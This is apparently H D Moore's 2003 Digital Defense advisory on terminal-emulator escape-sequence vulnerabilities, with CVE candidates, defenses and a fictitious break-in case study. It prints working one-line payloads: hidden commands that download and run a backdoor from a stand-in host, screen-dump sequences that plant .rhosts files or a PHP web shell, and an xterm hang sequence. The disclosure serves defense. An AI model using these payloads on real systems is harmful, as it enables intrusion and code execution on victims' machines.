Terminal Emulator Security Issues

TERMINAL EMULATOR SECURITY ISSUES
Copyright © 2003 Digital Defense Incorporated
All Rights Reserved

[ Table of Contents ]

– Summary
– Disclaimer
– Escape Sequences
– Remote Exploitation
– Screen Dumping
– Window Title Reporting
– Miscellaneous Issues
– Terminal Defense
– Tested Emulator Versions
– Vulnerability Index
– A Fictitious Case Study
– References
– Credits

[ Summary ]

Many of the features supported by popular terminal emulator software can be abused
when un-trusted data is displayed on the screen. The impact of this abuse can range from
annoying screen garbage to a complete system compromise. All of the issues below are
actually documented features, anyone who takes the time to read over the man pages or
source code could use them to carry out an attack.

[ Disclaimer ]

There is nothing new in this paper. The entire concept of exploiting a terminal by
supplying hostile input has been around for over 10 years now. Unix veterans and BBS
users have been exposed to this type of problem since the very beginning, a newsgroup
search can turn up all sorts of exploits, from the ever-popular "flash" program to the
abuse of logging features in xterm which were disabled in R5. Therefore the purpose of
this paper is to identify weaknesses in the current suite of popular terminal emulation
software, not to rehash an ancient problem.

[ Escape Sequences ]

Typically, an escape sequence is a series of characters starting with the ASCII escape
character (0x1B) and followed by a specific set of arguments. Escape sequences were
originally used to control display devices such as dumb terminals and have been extended
to allow various forms of interaction with modern operating systems. An escape sequence
might be used to change text attributes (color, weight), move the cursor position,
reconfigure the keyboard, update the window title, or manipulate the printer. Over the
years, many new features have been added that required enhancements to the terminal
emulator applications to support them.

[ Remote Exploitation ]

To exploit an escape sequence feature, an attacker must be able to display arbitrary data
to the victim's terminal emulator. While at first glance that may seem rather unlikely, the
attacker can take advantage of a number of small bugs in other applications to increase
their chance of success.

Just about every network service that uses syslog will pass remote data directly to the
daemon without filtering the escape character. The responsibility then lays on the syslog
daemon to strip the escape code before writing the log entry to the disk or terminal.
Although both the stock *BSD syslog daemons as well the sysklogd package filter escape
sequences, msyslog, syslog-ng, and the logging daemons supplied with many commercial
UNIX-based operating systems do not.

While sending data directly to a vulnerable syslogd or rwalld service is the most direct
form of attack, there are literally dozens of other ways to place hostile binary data onto
the terminal of a remote user. The Apache web server makes an effort to clean garbage
from its access logs, but it still allows escape characters to be injected into the error logs.
Many command-line network tools can be exploited by a hostile service response, some
examples of this is include wget, curl, ftp, and telnet.

Multi-user systems are especially vulnerable, as any user can send a system-wide
message under the default configuration of most operating systems. Placing the attack
data into the banner of a popular FTP server, telnet service, or message of the day file
will increase the chance of finding a valid target. Certain console email clients refuse to
display files when the content-type of an attachment is set to a unrecognized value, so the
user must save the file and then read it on the command line, often just using the standard
"cat" utility.

[ Screen Dumping ]

Eterm and rxvt both implement what they call the "screen dump" feature. This escape
sequence will cause an arbitrary file to be opened and filled with the current contents of
the terminal window. These are the only two tested emulators[1] that still had the ability
to write to files enabled by default. Although rxvt will ignore dump requests for existing
files, Eterm[2] will happily delete the file and then create it again. Although it is
technically the same feature, the OSC code used to trigger it is different between the two
emulators. For rxvt, the screen dump code is 55, for Eterm, it is 30. It is possible to
control the entire contents of the file by specifying the reset sequence, then the required
data, followed by the screen dump command.

$ echo -e "\ec+ +\n\e]<Code>;/home/user/.rhosts\a"

The same approach can be used to create an authorized_keys file for SSH, a replacement
passwd file, or even a hostile PHP script written to the user's web directory. This attack
requires no interaction on the part of the user and would be very difficult to detect if done
correctly. The primary difference between this issue and some of the others mentioned in
this paper is that the actual "exploitation" happens on the system running the emulator
software, not the current system that the terminal is accessing. The code that is
responsible for opening the dump file is shown below.

/* rxvt */
if ((fd = open(str, O_RDWR | O_CREAT | O_EXCL, 0600)) >= 0)

/* Eterm */
unlink(fname);
outfd = open(fname, O_CREAT | O_EXCL | O_NDELAY | O_WRONLY, S_IRUSR | S_IWUSR);

[1] XFree86's xterm disabled an equivalent feature in X11R5 due to security concerns. It
can still be enabled with a compile-time option.

[2] Eterm actually disabled this in 0.9.2 (October 31, 2002), however many recent Linux
distributions still shipped with 0.9.1.

[ Window Title Reporting ]

One of the features which most terminal emulators support is the ability for the shell to
set the title of the window using an escape sequence. This feature was originally
implemented by DEC for DECterm and has since been added to most emulators in use
today. The easy way to set the window title of a terminal is using the echo command:

$ echo -e "\e]2;This is the new window title\a"

When the output of the above command is displayed on the terminal, it will set the
window title to that string. Setting the window title by itself is not much of a security
issue, however certain xterm variants (and dtterm) also provide an escape sequence for
reporting the current window title. This essentially takes the current title and places it
directly on the command line. Due to the way that most emulators processes the escape
sequence, it is not possible to embed a carriage return into the window title itself, so the
user would need to hit enter for it to process the title as a command. The escape sequence
for reporting the window title is:

$ echo -e "\e[21t"

At this point, the attacker needs to convince the user to hit enter for the "exploit" to
succeed. There are a number of techniques available to both hide the command and
encourage the user to "press enter to continue". The simplest is to just insert a prompt
followed by the "invisible" character attribute right before reporting the title. Another
method is to set the foreground and background colors to be the same (all black or white)
and hope the user hits the enter key when trying to determine what happened. The
following example for xterm demonstrates a sequence that downloads and executes a
backdoor while hiding the command line. The "Press Enter >" string should be changed
to something appropriate for the attack vector. Some likely candidates include "wget
internal error: press enter to continue" or "Error: unknown TERM, hit enter to continue".

$ echo -e "\e]2;;wget 127.0.0.1/.bd;sh .bd;exit;\a\e[21t\e]2;xterm\aPress Enter>\e[8m;"

Any terminal emulator that allows the window title to be placed on the command-line is
vulnerable to this attack. The applications which were confirmed vulnerable include
xterm, dtterm, uxterm, rxvt, aterm, Eterm, hanterm, and putty[1]. The tested applications
that did not allow the title to be written include gnome-terminal 2.0, konsole, SecureCRT,
and aterm.

[1] Although putty would place the title onto the command-line, we were not able to find
a method of hiding the command, since neither the "invisible" character attribute nor the
foreground color could be set. Putty has a relatively low limit to the number of characters
that can be placed into the window title, so it is not possible to simply flood the screen
with garbage and hope the command rolls past the current view.

[ Miscellaneous Issues ]

Eterm should be given an award for the "Easiest to Compromise" terminal emulator. The
developers based much of their code off of the rxvt and xterm source, so Eterm tends to
share the same problems as those two emulators as well. If you happen to be running a
CVS version of Eterm from between February 10th and May 8th of 2001, it was possible
to execute an arbitrary command just by displaying the following escape sequence:

$ echo -e "\e]6;73;command\a"

Fortunately, this feature never made it into an official release, the "fork-and-exec" ability
was replaced by the script action spawn() instead.

During the research process, a number of small bugs were found that would either lock
up the emulator completely or crash it. Although they can be disregarded as simple denial
of service attacks, they could be abused to prevent an administrator from seeing
subsequent logs during a compromise. In general, the code which processed application-
side input seemed to place little emphasis on sanitizing the data before passing it directly
to system-level functions. While there was some effort made to avoid standard buffer
overflows, much of the loop-based character processing appeared ripe for a denial of
service attack. An example of this is a bug in the DEC UDK processing of XFree86's
xterm application, the following command will place the process into a tight resource-
eating loop:

$ echo -e "\eP0;0|0A/17\x9c"

This bug was reported to [email protected] on December 17th, 2002 and no response
was received as of the publication of this writing. The hanterm application is also
vulnerable to this issue, as the code base started off as a direct copy of xterm.

Both rxvt and aterm support a feature known as the menuBar. This feature allows the user
to create drop-down menus at the top of the terminal screen using both menu
configuration files and escape sequences. Anyone able to display data on the terminal
could modify the menu entries in a way that would compromise the system when
accessed. This type of attack relies more on social engineering, but still provides a
potential entry point when nothing else is available. The example below will create a new
top-level menu item called "Special" with a single item labeled "Access", when clicked it
will download and execute a backdoor from http://127.0.0.1/.bd and exit the shell.

$ echo -e "\e]10;[:/Special/{Access} wget 127.0.0.1/.bd\rsh bd\rexit\r:]\a\e]10;[show]\a"

[ Terminal Defense ]

The ideal solution is to sanitize all data before displaying it on your terminal, however
without a custom terminal application or data filter, you can't guarantee that every tool
you use on the command-line is going to strip escape sequences. The responsibility
should rest on the actual terminal emulator; any features that allow file or command-line
access should be disabled by default and more attention should be paid to new features
that implement any use of escape sequences.

The tested terminal emulators that were not susceptible to the screen dump or window
title attacks include KDE's konsole, Gnome's gnome-terminal, Vandyke's SecureCRT,
and Sasha Vasko's aterm. Konsole and gnome-terminal each use their own independent
code-base and didn't try to support the same massive feature set as the others.
SecureCRT took a similar approach, emulating just the minimum needed to be usable.
With aterm, the code was originally based on rxvt, however many of the dangerous
features were removed as the project progressed.

[ Test Emulator Versions ]

xterm: xf86 4.2.0 (patch 165)
aterm: 0.42
rxvt: 2.7.8
Eterm: 0.9.1
konsole: 3.1.0 rc5
putty: 0.53
SecureCRT: 3.4.6
gnome-terminal: 2.0.2 (libzvt 2.0.1) [2.2 indirectly]
hanterm-xf: 2.0

[ Vulnerability Index ]

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned CVE
candidate namess for all issues described in this paper.

CAN-2003-0020 Apache Error Log Escape Sequence Injection

CAN-2003-0021 Screen Dump: Eterm
CAN-2003-0022 Screen Dump: rxvt

CAN-2003-0063 Window Title Reporting: xterm
CAN-2003-0064 Window Title Reporting: dtterm
CAN-2003-0065 Window Title Reporting: uxterm
CAN-2003-0066 Window Title Reporting: rxvt
CAN-2003-0067 Window Title Reporting: aterm
CAN-2003-0068 Window Title Reporting: eterm
CAN-2003-0069 Window Title Reporting: putty
CAN-2003-0070 Window Title Reporting: gnome-terminal
CAN-2003-0078 Window Title Reporting: hanterm-xf

CAN-2003-0071 DEC UDK Processing DoS: xterm
CAN-2003-0079 DEC UDK Processing DoS: hanterm-xf

CAN-2003-0023 Menubar Manipulation: rxvt
CAN-2003-0024 Menubar Manipulation: aterm

[ A Fictitious Case Study ]

Jim is the sole administrator for the web server farm at a moderately sized ISP. Most of
his company's clients maintain their own sites and Jim's primary responsibility is to keep
the web servers online and secured. Jim spends some of his spare time dabbling with
PHP and uses his workstation as his development system. The workstation is on the same
network segment as the rest of the servers and the firewall only allows TCP port 80 and
443 inbound. Jim has a new 2.5Ghz P4 and finally has enough processing power to run
the Enlightenment window manager with all the tweaks. His favorite part about
Enlightenment is the terminal emulator, Eterm, which lets him make the background
transparent and do all sorts of imaging tricks. Jim keeps a tail process running for the
error_log files on each server he manages, allowing him to easily spot script bugs and
misconfigurations before the customer calls him to fix it.

Andre is pissed. Some "friends" from his old hacking group have posted some
embarrassing photos of him on the group's home page. The page is hosted in the ~user
directory on a web server at some dinky ISP his old friend uses. He starts poking at the
web server only to give up about 30 minutes later after failing to find a single vulnerable
CGI or outdated service. He starts up Nmap again, this time on the whole class C that the
web server resides in, determined to take down the entire subnet if he has to. He finds
another web server, this one is running a traceroute gateway that is vulnerable to meta-
character injection. Andre manages to get an outbound shell back to a bounce system and
proceeds to poke around. He finds what appears to be an OpenSSH public key in the /tmp
directory, named JimH.pub. Looking at the key file, he sees that the userid stored in it is
for [email protected]. A quick check shows that jimsbox.weeisp.com not only
resolves to an external address, but is also running a web server.

The index page of Jim's web server consists of a couple pictures of him, some links to his
favorite news sites, some screenshots of his new super-leet desktop, and some of his
latest PHP projects. The first PHP project link Andre clicks on immediately starts
spewing errors, complaining about not being able to connect to the database. The error
message itself is interesting though, since it contains the full path to the script that
triggered the error. Andre makes a quick note of this and keeps digging around, hoping
for an easy entry point. As soon as he pulls up the desktop screen shots, he knows he
struck gold. The screen shot not only shows a scantily clad Italian model in the
background, but an Eterm open tailing the logs of the same server his pictures are being
served from. He gets to work, hitting the workstation with every tool he can find, but an
hour later he still hasn't busted a shell. While looking through the screen shots again,
Andre gets the idea to look at the Eterm documentation and see what other features it
supports. Not only is the documentation easy to read with plenty of examples, but it
mentions an interesting feature described as a "screen dump".

About two hours later, Andre finally manages to get Eterm and its 60 megabytes of
support libraries compiled. He discovers that to force Eterm to write out a file, all he has
to do is display a certain sequence of characters to the screen. The question now is how to
get those characters onto that Eterm at 4:30 in the morning. After a quick review of the
Apache source code, he finally finds a spot in the error handling code where he can inject
arbitrary data into the log files. All he has to do is send a request for a file with the escape
sequence he wants to use and Apache will write the unfiltered data directly to the log file.

Now that he can write arbitrary files to the workstation, he has to find a method of using
it to gain access. Andre is pretty sure that the workstation is running SSH, but the only
ports available are 80 and 443. He remembers that the PHP errors he saw earlier provided
the full path to the web root, if he can write files there, then he run commands through the
web server. Five minutes later, Andre is connecting to the target web server and sending
a GET request for a string generated with the following command:

$ echo -e "\ec<?passthru($c);?>\e]30;/home/www/htdocs/owned.php\a"

This command clears the current screen buffer, displays his hostile PHP code to the
screen, and then uses the screen dump command to write it into the web root. He points
his browser to http://jimsbox.weeisp.com/owned.php?c=id and starts the process of
rooting Jim's workstation, stealing his SSH keys, and taking those horrid pictures (as well
as the rest of the group's files) off of that web server.

[ References ]

This Paper and Associated Tools
— http://www.digitaldefense.net/labs/whitepapers.html
— http://www.digitaldefense.net/labs/securitytools.html

Recognized Escape Sequences
— Eterm: http://www.eterm.org/docs/view.php?doc=ref
— xterm: http://rtfm.etla.org/xterm/ctlseq.html
— dtterm: http://hpc.uky.edu/cgi-bin/man.cgi?section=all&topic=dtterm
— rxvt: http://www.rxvt.org/refer/rxvtRef.html

Solar Designer's Post on Syslog Filtering
— http://marc.theaimsgroup.com/?l=bugtraq&m=96938656931350

ADM's "The Evil Escape Sequences"
— http://www.attrition.org/security/advisory/ADM/adm.evil.esc.advisory

AmigaOS Escape Sequence Exploits
— http://www.abraxis.co.uk/SA-2001-11-08.html

MS-DOS/Windows Key Redefinition
— http://lists.insecure.org/lists/bugtraq/1994/Jul/0029.html

Multiple Emulator Window Resize DoS
— http://archives.neohapsis.com/archives/bugtraq/2000-05/0409.html
— http://groups.google.com/groups?selm=E12zFeu-00075I-00&#37;40ixion

The Original "Flash"
— http://www.parallaxresearch.com/files/unix/exploits/flash.c
— http://groups.google.com/groups?selm=342k7c&#37;243ne&#37;40news.ysu.edu
— http://www.phrack-dont-give-a-shit-about-dmca.org/show.php?p=47&a=4

[ Credits ]

This paper was written by H D Moore, with much help from the rest of the Digital
Defense Operations Team. I would like to thank Solar Designer for providing some great
feedback on the original draft and Mark Cox for handling the CVE candidate generation
and vendor coordination.